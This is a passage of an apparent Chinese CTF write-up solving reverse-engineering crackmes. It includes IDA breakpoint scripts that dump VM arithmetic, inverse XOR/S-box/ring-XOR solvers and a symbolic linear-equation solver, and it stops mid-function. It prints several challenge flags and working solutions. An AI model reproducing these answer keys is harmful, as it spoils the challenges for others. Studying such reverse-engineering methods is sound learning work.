7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
src = [211, 71, 210, 132, 193, 114, 244, 208, 213, 99, 37, 214, 224, 101, 98, 212, 224, 118]

qrazy = ['catcat'] * 32 + [' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@',
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q',
'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`'] \
+ ['catcat'] * 26 + ['{', '|', '}', '~']
lookup = {ch: i + 1 for i, ch in enumerate(qrazy) if ch != 'catcat'}

def swap(x: int) -> int:
return ((x & 0x0F) << 4) | ((x >> 4) & 0x0F)

def decrypt(src_bytes):
n = len(src_bytes) + 1

# Step 3 → 2:先把 arc[1] 的输出补回去,再撤销 nibble swap
D = [0] * (n + 1)
D[1] = swap(114)
for i in range(2, n + 1):
D[i] = src_bytes[i - 2]

C = [0] * (n + 1)
for i in range(1, n + 1):
C[i] = swap(D[i])

# Step 2 → 1:逆前缀 XOR
B = [0] * (n + 1)
B[1] = C[1]
for i in range(2, n + 1):
B[i] = C[i] ^ C[i - 1]

# Step 1:撤销 “+索引 (mod 255)”(注意从 i = 2 开始)
arc = [0] * (n + 1)
arc[1] = B[1]
for i in range(2, n + 1):
val = B[i] - i
while val <= 0:
val += 255
arc[i] = val

word = ''.join(qrazy[idx - 1] for idx in arc[2:])
return arc[1:], word

if __name__ == '__main__':
arc_indices, word = decrypt(src)
print('arc indices:', arc_indices)
print('input word :', word)

TSCTF-J{LET_M3_8E_W1TH_Y0U}

The Loom of Mirrored Dreams

虚拟机逆向,没有反调,其实很简单

image-20251013192146793

下好断点先

主逻辑

image-20251013192236671

image-20251013192257545

其实这种一般都是tea类等 异或,加法,运算较多

我们在加减乘除那边设好断点dump运算逻辑出来即可

如add

image-20251013192625081

image-20251013192646573

一个add指令

我们在这下断点,运行到这rdx,rcx已经被赋值

我们加一下不就知道当时的状态是a = d +c 了吗

如果我们知道所有的状态,不就是知道加密的方法了吗?

左边edit breakpoint

为了演示,我在这里用了IDC脚本,下面会用IDApython

1
2
3
4
auto rcx = GetRegValue("rcx");
auto rdx = GetRegValue("rdx");
auto sum = rcx + rdx;
Message("%X = %X + %X;\n", sum, rcx, rdx);

shr:

1
2
3
4
5
6
import idc

value = idc.get_reg_value("rdx")
shift = idc.get_reg_value("cl") & 0x3F # 只保留低 6 bit
result = value >> shift
print(f"{value} >> {shift} = {result}")

mul

1
2
3
4
5
6
7
8
9
import idc
import ida_bytes

rbp = idc.get_reg_value("rbp")
mul_a = idc.get_reg_value("rax") # [rbp+var_20]
mul_b = ida_bytes.get_qword(rbp - 0x18) # [rbp+var_18]
prod = (mul_a * mul_b) & 0xFFFFFFFFFFFFFFFF

print(f"{mul_a} * {mul_b} = {prod}")

xor

1
2
3
4
5
6
7
8
import idc
import ida_bytes

rbp = idc.get_reg_value("rbp")
v5 = idc.get_reg_value("rax")
v4 = ida_bytes.get_qword(rbp - 0x18)
result = (v5 ^ v4) & 0xFFFFFFFFFFFFFFFF
print(f"{v5} ^ {v4} = {result}")

sub

1
2
3
4
5
6
7
8
import idc
import ida_bytes

rbp = idc.get_reg_value("rbp")
minuend = idc.get_reg_value("rax") # 被减数
subtrahend = ida_bytes.get_qword(rbp - 0x18) # 减数
diff = (minuend - subtrahend) & 0xFFFFFFFFFFFFFFFF
print(f"{minuend} - {subtrahend} = {diff}")

shl

1
2
3
4
5
6
7
8
import idc
import ida_bytes

rbp = idc.get_reg_value("rbp")
value = ida_bytes.get_qword(rbp - 0x20)
shift = idc.get_reg_value("cl") & 0x3F
result = (value << shift) & 0xFFFFFFFFFFFFFFFF
print(f"{value} << {shift} = {result}")

image-20251013193218872

运行即可在下方output发现,我输入的是11111222223333344444555556666677777

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
0 * 19 = 0
AB = 0 + AB;
171 ^ 49 = 154
1 = 0 + 1;
1 * 19 = 19
BE = 13 + AB;
190 ^ 49 = 143
2 = 1 + 1;
2 * 19 = 38
D1 = 26 + AB;
209 ^ 49 = 224
3 = 2 + 1;
3 * 19 = 57
E4 = 39 + AB;
228 ^ 49 = 213
4 = 3 + 1;
4 * 19 = 76
F7 = 4C + AB;
247 ^ 49 = 198
5 = 4 + 1;
5 * 19 = 95
10A = 5F + AB;
10 ^ 50 = 56
6 = 5 + 1;
6 * 19 = 114
11D = 72 + AB;
29 ^ 50 = 47
7 = 6 + 1;
7 * 19 = 133
130 = 85 + AB;
48 ^ 50 = 2
8 = 7 + 1;
8 * 19 = 152
143 = 98 + AB;
67 ^ 50 = 113
9 = 8 + 1;
9 * 19 = 171
156 = AB + AB;
86 ^ 50 = 100
A = 9 + 1;
10 * 19 = 190
169 = BE + AB;
105 ^ 51 = 90
B = A + 1;
11 * 19 = 209
17C = D1 + AB;
124 ^ 51 = 79
C = B + 1;
12 * 19 = 228
18F = E4 + AB;
143 ^ 51 = 188
D = C + 1;
13 * 19 = 247
1A2 = F7 + AB;
162 ^ 51 = 145
E = D + 1;
14 * 19 = 266
1B5 = 10A + AB;
181 ^ 51 = 134
F = E + 1;
15 * 19 = 285
1C8 = 11D + AB;
200 ^ 52 = 252
10 = F + 1;
16 * 19 = 304
1DB = 130 + AB;
219 ^ 52 = 239
11 = 10 + 1;
17 * 19 = 323
1EE = 143 + AB;
238 ^ 52 = 218
12 = 11 + 1;
18 * 19 = 342
201 = 156 + AB;
1 ^ 52 = 53
13 = 12 + 1;
19 * 19 = 361
214 = 169 + AB;
20 ^ 52 = 32
14 = 13 + 1;
20 * 19 = 380
227 = 17C + AB;
39 ^ 53 = 18
15 = 14 + 1;
21 * 19 = 399
23A = 18F + AB;
58 ^ 53 = 15
16 = 15 + 1;
22 * 19 = 418
24D = 1A2 + AB;
77 ^ 53 = 120
17 = 16 + 1;
23 * 19 = 437
260 = 1B5 + AB;
96 ^ 53 = 85
18 = 17 + 1;
24 * 19 = 456
273 = 1C8 + AB;
115 ^ 53 = 70
19 = 18 + 1;
25 * 19 = 475
286 = 1DB + AB;
134 ^ 54 = 176
1A = 19 + 1;
26 * 19 = 494
299 = 1EE + AB;
153 ^ 54 = 175
1B = 1A + 1;
27 * 19 = 513
2AC = 201 + AB;
172 ^ 54 = 154
1C = 1B + 1;
28 * 19 = 532
2BF = 214 + AB;
191 ^ 54 = 137
1D = 1C + 1;
29 * 19 = 551
2D2 = 227 + AB;
210 ^ 54 = 228
1E = 1D + 1;
30 * 19 = 570
2E5 = 23A + AB;
229 ^ 55 = 210
1F = 1E + 1;
31 * 19 = 589
2F8 = 24D + AB;
248 ^ 55 = 207
20 = 1F + 1;
32 * 19 = 608
30B = 260 + AB;
11 ^ 55 = 60
21 = 20 + 1;
33 * 19 = 627
31E = 273 + AB;
30 ^ 55 = 41
22 = 21 + 1;
34 * 19 = 646
331 = 286 + AB;
49 ^ 55 = 6
23 = 22 + 1;
154 >> 4 = 9
14 << 4 = 224
1 = 0 + 1;
143 >> 4 = 8
3 << 4 = 48
2 = 1 + 1;
224 >> 4 = 14
1 << 4 = 16
3 = 2 + 1;
213 >> 4 = 13
7 << 4 = 112
4 = 3 + 1;
198 >> 4 = 12
4 << 4 = 64
5 = 4 + 1;
56 >> 4 = 3
11 << 4 = 176
6 = 5 + 1;
47 >> 4 = 2
6 << 4 = 96
7 = 6 + 1;
2 >> 4 = 0
12 << 4 = 192
8 = 7 + 1;
113 >> 4 = 7
13 << 4 = 208
9 = 8 + 1;
100 >> 4 = 6
10 << 4 = 160
A = 9 + 1;
90 >> 4 = 5
0 << 4 = 0
B = A + 1;
79 >> 4 = 4
9 << 4 = 144
C = B + 1;
188 >> 4 = 11
8 << 4 = 128
D = C + 1;
145 >> 4 = 9
14 << 4 = 224
E = D + 1;
134 >> 4 = 8
3 << 4 = 48
F = E + 1;
252 >> 4 = 15
2 << 4 = 32
10 = F + 1;
239 >> 4 = 14
1 << 4 = 16
11 = 10 + 1;
218 >> 4 = 13
7 << 4 = 112
12 = 11 + 1;
53 >> 4 = 3
11 << 4 = 176
13 = 12 + 1;
32 >> 4 = 2
6 << 4 = 96
14 = 13 + 1;
18 >> 4 = 1
5 << 4 = 80
15 = 14 + 1;
15 >> 4 = 0
12 << 4 = 192
16 = 15 + 1;
120 >> 4 = 7
13 << 4 = 208
17 = 16 + 1;
85 >> 4 = 5
0 << 4 = 0
18 = 17 + 1;
70 >> 4 = 4
9 << 4 = 144
19 = 18 + 1;
176 >> 4 = 11
8 << 4 = 128
1A = 19 + 1;
175 >> 4 = 10
15 << 4 = 240
1B = 1A + 1;
154 >> 4 = 9
14 << 4 = 224
1C = 1B + 1;
137 >> 4 = 8
3 << 4 = 48
1D = 1C + 1;
228 >> 4 = 14
1 << 4 = 16
1E = 1D + 1;
210 >> 4 = 13
7 << 4 = 112
1F = 1E + 1;
207 >> 4 = 12
4 << 4 = 64
20 = 1F + 1;
60 >> 4 = 3
11 << 4 = 176
21 = 20 + 1;
41 >> 4 = 2
6 << 4 = 96
22 = 21 + 1;
6 >> 4 = 0
12 << 4 = 192
23 = 22 + 1;
1 = 0 + 1;
239 ^ 50 = 221
1 = 0 + 1;
2 = 1 + 1;
50 ^ 28 = 46
2 = 1 + 1;
3 = 2 + 1;
28 ^ 112 = 108
3 = 2 + 1;
4 = 3 + 1;
112 ^ 74 = 58
4 = 3 + 1;
5 = 4 + 1;
74 ^ 179 = 249
5 = 4 + 1;
6 = 5 + 1;
179 ^ 98 = 209
6 = 5 + 1;
7 = 6 + 1;
98 ^ 198 = 164
7 = 6 + 1;
8 = 7 + 1;
198 ^ 213 = 19
8 = 7 + 1;
9 = 8 + 1;
213 ^ 169 = 124
9 = 8 + 1;
A = 9 + 1;
169 ^ 15 = 166
A = 9 + 1;
B = A + 1;
15 ^ 146 = 157
B = A + 1;
C = B + 1;
146 ^ 132 = 22
C = B + 1;
D = C + 1;
132 ^ 229 = 97
D = C + 1;
E = D + 1;
229 ^ 58 = 223
E = D + 1;
F = E + 1;
58 ^ 36 = 30
F = E + 1;
10 = F + 1;
36 ^ 18 = 54
10 = F + 1;
11 = 10 + 1;
18 ^ 127 = 109
11 = 10 + 1;
12 = 11 + 1;
127 ^ 176 = 207
12 = 11 + 1;
13 = 12 + 1;
176 ^ 108 = 220
13 = 12 + 1;
14 = 13 + 1;
108 ^ 86 = 58
14 = 13 + 1;
15 = 14 + 1;
86 ^ 194 = 148
15 = 14 + 1;
16 = 15 + 1;
194 ^ 211 = 17
16 = 15 + 1;
17 = 16 + 1;
211 ^ 0 = 211
17 = 16 + 1;
18 = 17 + 1;
0 ^ 154 = 154
18 = 17 + 1;
19 = 18 + 1;
154 ^ 140 = 22
19 = 18 + 1;
1A = 19 + 1;
140 ^ 242 = 126
1A = 19 + 1;
1B = 1A + 1;
242 ^ 239 = 29
1B = 1A + 1;
1C = 1B + 1;
239 ^ 62 = 209
1C = 1B + 1;
1D = 1C + 1;
62 ^ 25 = 39
1D = 1C + 1;
1E = 1D + 1;
25 ^ 118 = 111
1E = 1D + 1;
1F = 1E + 1;
118 ^ 66 = 52
1F = 1E + 1;
20 = 1F + 1;
66 ^ 180 = 246
20 = 1F + 1;
21 = 20 + 1;
180 ^ 110 = 218
21 = 20 + 1;
22 = 21 + 1;
110 ^ 202 = 164
22 = 21 + 1;
23 = 22 + 1;
202 ^ 221 = 23
23 = 22 + 1;

可以分析得到逻辑

1. 在 vm_execute 的首个循环里,按照索引 i 计算掩码 ((0xAB + 0x13*i) & 0xFF),并对 buf[i] 做异或。
2. 第二个循环把每个字节拆成高/低 4bit,通过 S 盒 sbox = [0xC,0x5,0x6,0xB,0x9,0x0,0xA,0xD,0x3,0xE,0xF,0x8,0x4,0x7,0x1,0x2] 逐一替换后再组合。
3. 第三个循环按顺序执行 buf[i] ^= buf[(i+1)%35](最后一个元素用已更新过的 buf[0])。
4. 校验
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0 * 19 = 0
AB = 0 + AB;
171 ^ 49 = 154
1 = 0 + 1;
1 * 19 = 19
BE = 13 + AB;

190 ^ 49 = 143
2 = 1 + 1;
2 * 19 = 38
D1 = 26 + AB;

209 ^ 49 = 224
3 = 2 + 1;
3 * 19 = 57
E4 = 39 + AB;

很明显一直在更新0x13 ,再加个0xAB 这里dump时候都是16进制

再往下,到 “10 ^ 50 = 56 / 11D = 72 + AB” 这一块,成对出现一条右移或与操作、紧接着又有 LOAD_TABLE16 那些断点打印(在 output.里为 <值> >> 4 = …、<值> << 4 = …)。这些输出说明每个字节都被拆成高低 4 bit 送进 S 盒,再合成一个新字节。

所以”很容易”看出是 nibble S-box。

再往后的 “29 ^ 50 = 47 … 58 ^ 36 = 30 …” 那串,则是 LOAD_IN + ADD 1 + MOD 35 + XOR 的动作:输出[i] = buffer[i] ^ buffer[(i+1)%35]。日志可以直白地呈现出 “A ^= B”。特别是倒数几行还能看到最后一个元素在用已经更新过的 buffer[0],说明是环形依赖。

stage2你要结合这个

image-20251013195026065

其实还是有点难想到的

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
enc = [
0x35, 0xF1, 0x6A, 0x09, 0xE8, 0x60, 0x95, 0xC7, 0xF5, 0xFE,
0x3F, 0x29, 0xA8, 0xA7, 0x65, 0x11, 0xBD, 0x34, 0xB9, 0x53,
0x92, 0x60, 0x1A, 0x7E, 0x46, 0xAA, 0x59, 0x56, 0x18, 0xBC,
0x7A, 0x5B, 0x71, 0x4F, 0xA1,
]

sbox = [0xC, 0x5, 0x6, 0xB, 0x9, 0x0, 0xA, 0xD, 0x3, 0xE, 0xF, 0x8, 0x4, 0x7, 0x1, 0x2]
inv_sbox = {v: i for i, v in enumerate(sbox)}

n = len(enc)

# 环形xor
xor_prefix = 0
for i in range(n - 1):
xor_prefix ^= enc[i]

stage2 = [0] * n
stage2[0] = enc[-1] ^ xor_prefix ^ enc[0]
for i in range(n - 1):
stage2[i + 1] = stage2[i] ^ enc[i]

# sbox
stage1 = []
for b in stage2:
hi = inv_sbox[b >> 4]
lo = inv_sbox[b & 0xF]
stage1.append((hi << 4) | lo)

# xor
flag = []
for i, b in enumerate(stage1):
mask = (0xAB + 0x13 * i) & 0xFF
flag.append(b ^ mask)

print(bytes(flag).decode())
1
TSCTF-J{Y0u_@4r3_R4@11&_s0lxE_VVmm}

ez_re

侥幸之前看过(大概做到了把虚拟机的是线性变换发现就没做了hh),但没有出,赛中出了

image-20251013200533177

这里有个54C8函数进去看看

image-20251013200557720

image-20251013201401830

结合55F4一起看,unk_1000096C0有点像vmcode不确定,55F4有点像vm的代码 switch的

没有发现主要的加密逻辑,基本能确定是vm了

sub_1000054C8这个方法,其实就是在做搭虚拟机实例,同时申请了三块区域,可能是虚拟机需要的数据区

一次ka你了 sub_1000057C8 等十余个函数,发现逻辑都很底层(逐位加法、移位乘法、手工 XOR)。根据行为重命名:vm_op_set_reg、vm_op_add_regs、vm_op_store_mem 等。例如 sub_100005d30 检查 data+0x1D6 的比较结果 + 36 次计数后输出“right”,因此这是终止条件。

输入长度为36

image-20251013202635050

55F4函数中 VM执行 ,遍历 8 字节的指令槽,读取末尾的 16 bit opcode,根据 opcode 调用 vtable 上不同的处理函数。循环次数固定 74888/8=9361 次

一次确认了那些函数的作用,如下面是一个加法操作

image-20251013203246478

有点抽象,这些vm_add的确实有点抽象,问GPT就知道了

做了个重命名

image-20251013204617528

sub_1000054C8把 off_1000080F8 填进新对象的第一个指针,并没有把它复制到字节码区,而是保存在结构的第一个字段。随后 vm_interpret 里,取指令时是从 v1[1](也就是那块 0x14000 的缓冲)按 8 字节顺序读取,并把第四个 16 位字段当 opcode(v3 + n74888 + 6)。

其他三个 16 位字段(0/2/4)从未直接拿来做分支,只在各 handler 内按寄存器索引,内存地址等用途被解读。

前三个是操作数

之后想要进展,我们需要确认vm内存布局

解释器在 vm_write_data16/vm_read_data16 等函数里不停地对某块内存+偏移做读写。如果不知道这些偏移对应什么,就无法理解每条 opcode 对状态的影响

image-20251013205257487

注意到几个信息

vm_write_small_reg 的实现是:

image-20251013205844754

在做赋值操作,说明四个寄存器就放在数据块偏移 0x200 开始的连续 8 字节里。vm_read_small_reg 用同样的偏移读数,所以寄存器位点确定无疑。

1
如果参数 idx 在 1..4,就把 val 存到 base + 0x200 + 2*(idx-1)。与之成对的 vm_read_small_reg 用完全相同的偏移取回这个值。很明显这就是对固定数量槽位的读写,而不像普通内存(普通内存用的是 base + 2*addr)

image-20251013210000999

1
相当于 *(WORD *)(context + 0x1D6) = (regA == regB);

image-20251013210326302

输入字符串在 data[0..35] ,4 个 16 位寄存器在 data+0x200,比较结果在 data+0x1D6,成功计数在 data+0x1D8

1
vm_op_check_success 则先检查这个字,再把 *(WORD *)(context + 0x1D8) 自增;当它增到 36 时返回 “right”,否则若有任意一次失败直接调用 sub_1000055DC("wrong\n") 退出。这样就能定位比较结果和计数器的具体偏移。

普通内存读写是:

image-20251013210408496

总结下:

1
data+idx*2 属于通用内存,data+0x200 起是4个寄存器槽,data+0x1D6/0x1D8 储存比较标志和成功计数。输入字符串被run_vm_from_input写进数据区开头

因为vim_interpret是8字节8字节读取的,看逻辑我们解释器的 switch 里,合法opcode只有 case 1 到case 0xC共 12 种,自己手动确认了下确实那一段是bytecode,也可以写个小脚本读取确认下

确定字节码起点 0x96c0 后,我用 Python 读取那段数据,并按 8 字节一步解成 (arg0, arg1, arg2, opcode) 四个 16 位数,打印前面几十条

1
2
3
4
5
6
7
import struct
with open('chall','rb') as f:
f.seek(0x96c0)
data=f.read(9360*8)
insts=[struct.unpack_from('<HHHH', data, i*8) for i in range(255)]
for i,(a,b,c,op) in enumerate(insts):
print(f'{i:04d}: op={op:04x} args=({a:04x},{b:04x},{c:04x})')

能发现a1516这样的块重复出现了约36次,对应flag长度36

输出显示比较总是在指令号 258、518、778…出现,而下一个 op=9 紧随其后(259、519、779…)。因此每两次比较之间隔着 260 条指令,取这段长度作为一个块再去分析就能覆盖整个逻辑

image-20251013212545236

7出现的次数与flag长度相同也有理由怀疑其是cmp

1
2
3
4
5
6
7
8
9
10
11
12
13
import struct

with open('chall', 'rb') as f:
f.seek(0x96c0)
data = f.read(9360 * 8)

insts = [struct.unpack_from('<HHHH', data, i * 8) for i in range(9360)]

# for i, (a, b, c, op) in enumerate(insts):
# print(f'{i:04d}: op={op:04x} args=({a:04x},{b:04x},{c:04x})')

ops_used = {op for _, _, _, op in insts}
print(f'\nunique opcodes in first 9360 instructions: {sorted(ops_used)}')
1
unique opcodes in first 300 instructions: [1, 3, 4, 5, 6, 7, 9, 10]

只出现了这8种指令[1, 3, 4, 5, 6, 7, 9, 10]

意味着在整块里出现的 opcode 只有 1(set)、3(加)、4(xor)、5(store)、6(load)、7(compare)、9(check)、10(减)。发现 4 总是成对地把同一个寄存器和自己 XOR 为 0,用来清寄存器。没有乘法、取反、非线性操作。

很多条指令都是 op=0001 args=(0001,0026,0000),即把寄存器 1 设为常量 0x26。接着马上就有 op=0005 args=(0001,0003,0000),即用寄存器 1 里的值当地址,把寄存器 3 的内容写进数据区。这一对组合出现多次,说明 0x26 这个槽一直被当作累加器。

本题最终要的就是找指令规律和明确对应关系,还是要多试

我们可以写一个新的测试脚本探寻规律

可以用”临时线性化脚本”,其实就是把每条 opcode 的作用改写成”在字典里做加减”

  1. 把一块 260 条指令读出来,每条 8 字节拆成 (dst, op1, op2, opcode)。

  2. 用字典表示寄存器/内存的线性表达式:

    • {‘const’: 0, ‘x0’:1, ‘x5’:65535} 表示 x0 - x5(因为 65535 ≡ -1 mod 65536)。
    • 初始时 mem[i] = {‘xi’:1, ‘const’:0} 代表输入的第 i 个字符。
  3. 根据 opcode 更新这些字典:

    • 1:寄存器 ← 常量 → {‘const’: imm}。
    • 3/10:寄存器 ← 加/减 → 合并字典系数。
    • 5/6:以寄存器值当地址,读写 mem。
    • 4:异或清零 → 写成 {‘const’:0}。
    • 7 之后我们不再需要处理(它只做比较)。
  4.  块结束时,读出 mem[0x26],得到某个输入字符的线性组合,regs[1]['const'] 就是常量目标。
     
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80

    测试代码:

    > 这个脚本挺难写的还好GPT5帮忙了,不然真写不出来......

    ```python
    import struct
    from fractions import Fraction

    MOD = 1 << 16
    BLOCK_SIZE = 260
    NUM_BLOCKS = 36
    BYTECODE_OFFSET = 0x96C0
    BYTECODE_LEN = BLOCK_SIZE * NUM_BLOCKS * 8

    def expr_const(v):
    return {'const': v % MOD}

    def expr_add(e1, e2):
    keys = set(e1) | set(e2)
    return {k: (e1.get(k, 0) + e2.get(k, 0)) % MOD for k in keys}

    def expr_sub(e1, e2):
    keys = set(e1) | set(e2)
    return {k: (e1.get(k, 0) - e2.get(k, 0)) % MOD for k in keys}

    def norm16(v):
    return v - 0x10000 if v >= 0x8000 else v

    def run_block(insts):
    regs = {i: {'const': 0} for i in range(1, 5)}
    mem = {i: {f'x{i}': 1, 'const': 0} for i in range(36)}
    mem[0x26] = {'const': 0}
    for dst, op1, op2, opcode in insts:
    if opcode == 1: # set reg
    regs[dst] = expr_const(op1)
    elif opcode == 3: # add
    regs[dst] = expr_add(regs[op1], regs[op2])
    elif opcode == 10: # sub
    regs[dst] = expr_sub(regs[op1], regs[op2])
    elif opcode == 5: # store
    addr = regs[dst]['const']
    mem[addr] = dict(regs[op1])
    elif opcode == 6: # load
    addr = regs[dst]['const']
    regs[op1] = dict(mem.get(addr, {'const': 0}))
    elif opcode == 4: # xor -> zero
    regs[dst] = {'const': 0}
    expr = mem[0x26]
    coeffs = [0] * 36
    for name, val in expr.items():
    if name == 'const':
    continue
    idx = int(name[1:])
    coeffs[idx] = norm16(val)
    target = norm16(regs[1]['const'])
    return coeffs, target

    def main():
    with open('chall', 'rb') as f:
    f.seek(BYTECODE_OFFSET)
    buf = f.read(BYTECODE_LEN)

    rows = []
    rhs = []
    for blk in range(NUM_BLOCKS):
    block = [
    struct.unpack_from('<HHHH', buf, blk * BLOCK_SIZE * 8 + i * 8)
    for i in range(BLOCK_SIZE)
    ]
    coeffs, target = run_block(block)
    rows.append(coeffs)
    rhs.append(target)

    for i, (row, target) in enumerate(zip(rows, rhs)):
    nz = [(idx, val) for idx, val in enumerate(row) if val]
    print(f'Block {i:02d} target={target:4d} terms={len(nz)}')

    if __name__ == '__main__':
    main()

image-20251013215227593

这 36 行输出各自对应虚拟机的 36 个检测块,意思是:

Block XX target=YYY:这个块最终把data[0x26]累加成一个值,然后要求它等于常数 YYY。比如第一条 target=-6,说明块 0 最终要求组合结果 = -6。

terms=36:这一块里把 36 个输入字符全部用到了(每个变量的系数都非零)。换句话说,Block 00 其实表示 Σ coeff_i * x_i = -6,这里的 coeff_i 包括正负 1、±其他整系数,x_i 就是 flag 第 i 个字符的 ASCII 值。

这些信息是我们后面构建线性方程组的原料。对每个块,我们不仅记录 target,还记录一整行 36 个系数(脚本里 run_block 返回的 coeffs)。把 36 行系数拼在一起,就是一个 36×36 的矩阵;把 36 个 target 拼成右端向量,然后解这个线性系统,就能得到 36 个字符的 ASCII 数值,自然就复原出 flag。

并不是拿具体输入去跑 VM,而是把每个寄存器/内存槽都用符号表达式来表示(x0..x35 对应 36 个输入字符)。由于字节码里只出现了设常量、加/减、内存读写这些线性操作,整条指令流对输入的影响天然是线性的,能一直用”符号系数”追踪下去。

因此,跑完一个块后得到的不是“实际值”,而是一个方程:memory[0x26] = Σ coeff_i * x_i,而 reg1 给出同一块中设置的常数 target。这两者相等就形成了线性约束 Σ coeff_i * x_i = target。

如果只盯住第一块,在这个块里把所有指令跑一遍,最终都会看到:该块把输入字符按特定系数累加到 memory[0x26],然后和 reg1 里的常量比较。只要能把这串系数和常量提炼出来,就知道这一组的线性关系了。

在抽象出 36 条线性方程后,把它们堆成一个 36×36 的矩阵 A 和一个长度 36 的常量向量 b(脚本里 rows 和 rhs)

run_block得到关系,solve_linear来解开这个关系

举一个例子

只有三个指令,输入长度也只有3

  • set rX, imm:把寄存器 rX 设成常数。
  • load rX, addr:读取数据区 mem[addr](一开始就是输入字符)放进寄存器。
  • add rX, rY:把 rX = rX + rY。
  • store addr, rX:把寄存器写回内存。
  • cmp rX, imm:比较寄存器是否等于常数。

假设字节码只有 5 条:

1. set r0, 0          ; 把寄存器0清零
2. load r1, 0         ; 读取 x0
3. add r0, r1         ; r0 += x0
4. load r1, 1         ; r1 = x1
5. add r0, r1         ; r0 += x1
6. load r1, 2         ; r1 = x2
7. add r0, r1         ; r0 += x2
8. cmp r0, 100        ; 检查 x0 + x1 + x2 == 100 ?

这题的思路就是

把他们符号化

mem[0] = x0

mem[1] = x1

mem[2] = x2

然后按指令跑:

  • 指令 1:r0 = 0
  • 指令 2:r1 = x0
  • 指令 3:r0 = r0 + r1 = 0 + x0 = x0
  • 指令 4:r1 = x1
  • 指令 5:r0 = x0 + x1
  • 指令 6:r1 = x2
  • 指令 7:r0 = x0 + x1 + x2
  • 指令 8:要求 r0 == 100

因此我们得到一个线性方程:x0 + x1 + x2 = 100。

如果再来一个块,让它计算 x0 - x1 + 2*x2 = 50,响应用符号执行同样的流程,就能得到第二条方程。把这两条放在一起就是个小的线性方程组,解出来就能知道三个输入字符的值。

为什么能这样?因为我们之前观察了指令

  1. 只有线性变化
  2. 执行约260条指令才check,也就是这么多指令对应一个check

不就刚好组成一个方程组了吗 0.0

exp:

GPT5帮着修了好久的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import struct
from fractions import Fraction

MOD = 1 << 16
BLOCK_SIZE = 260
NUM_BLOCKS = 36
INSTR_COUNT = BLOCK_SIZE * NUM_BLOCKS

def locate_bytecode(blob, need=INSTR_COUNT):
run = 0
for off in range(0, len(blob) - 8, 8):
opcode = int.from_bytes(blob[off + 6:off + 8], 'little')
if 1 <= opcode <= 0xC:
run += 1
if run == need:
return off - (need - 1) * 8
else:
run = 0
raise RuntimeError("bytecode blob not found")

def add_expr(a, b):
keys = set(a) | set(b)
return {k: (a.get(k, 0) + b.get(k, 0)) % MOD for k in keys}

def sub_expr(a, b):
keys = set(a) | set(b)
return {k: (a.get(k, 0) - b.get(k, 0)) % MOD for k in keys}

def run_block(insts):
regs = {i: {'const': 0} for i in range(1, 5)}
mem = {i: {f'x{i}': 1, 'const': 0} for i in range(36)}
mem[0x26] = {'const': 0}
for dst, op1, op2, opcode in insts:
if opcode == 1: # set reg
regs[dst] = {'const': op1 % MOD}
elif opcode == 3: # add
regs[dst] = add_expr(regs[op1], regs[op2])
elif opcode == 10: # sub
regs[dst] = sub_expr(regs[op1], regs[op2])
elif opcode == 5: # store mem
addr = regs[dst]['const'] % MOD
mem[addr] = dict(regs[op1])
elif opcode == 6: # load mem
addr = regs[dst]['const'] % MOD
regs[op1] = dict(mem.get(addr, {'const': 0}))
elif opcode == 4: # xor (实际上只用于清零)
regs[dst] = {'const': 0}
# 其它 opcode(比较/校验)不会影响线性方程,忽略即可
expr = mem[0x26]
coeffs = [0] * 36
for label, value in expr.items():
if label == 'const':
continue
idx = int(label[1:])
coeffs[idx] = value if value < 0x8000 else value - 0x10000
target = regs[1]['const']
if target >= 0x8000:
target -= 0x10000
return coeffs, target

def build_system(blob):
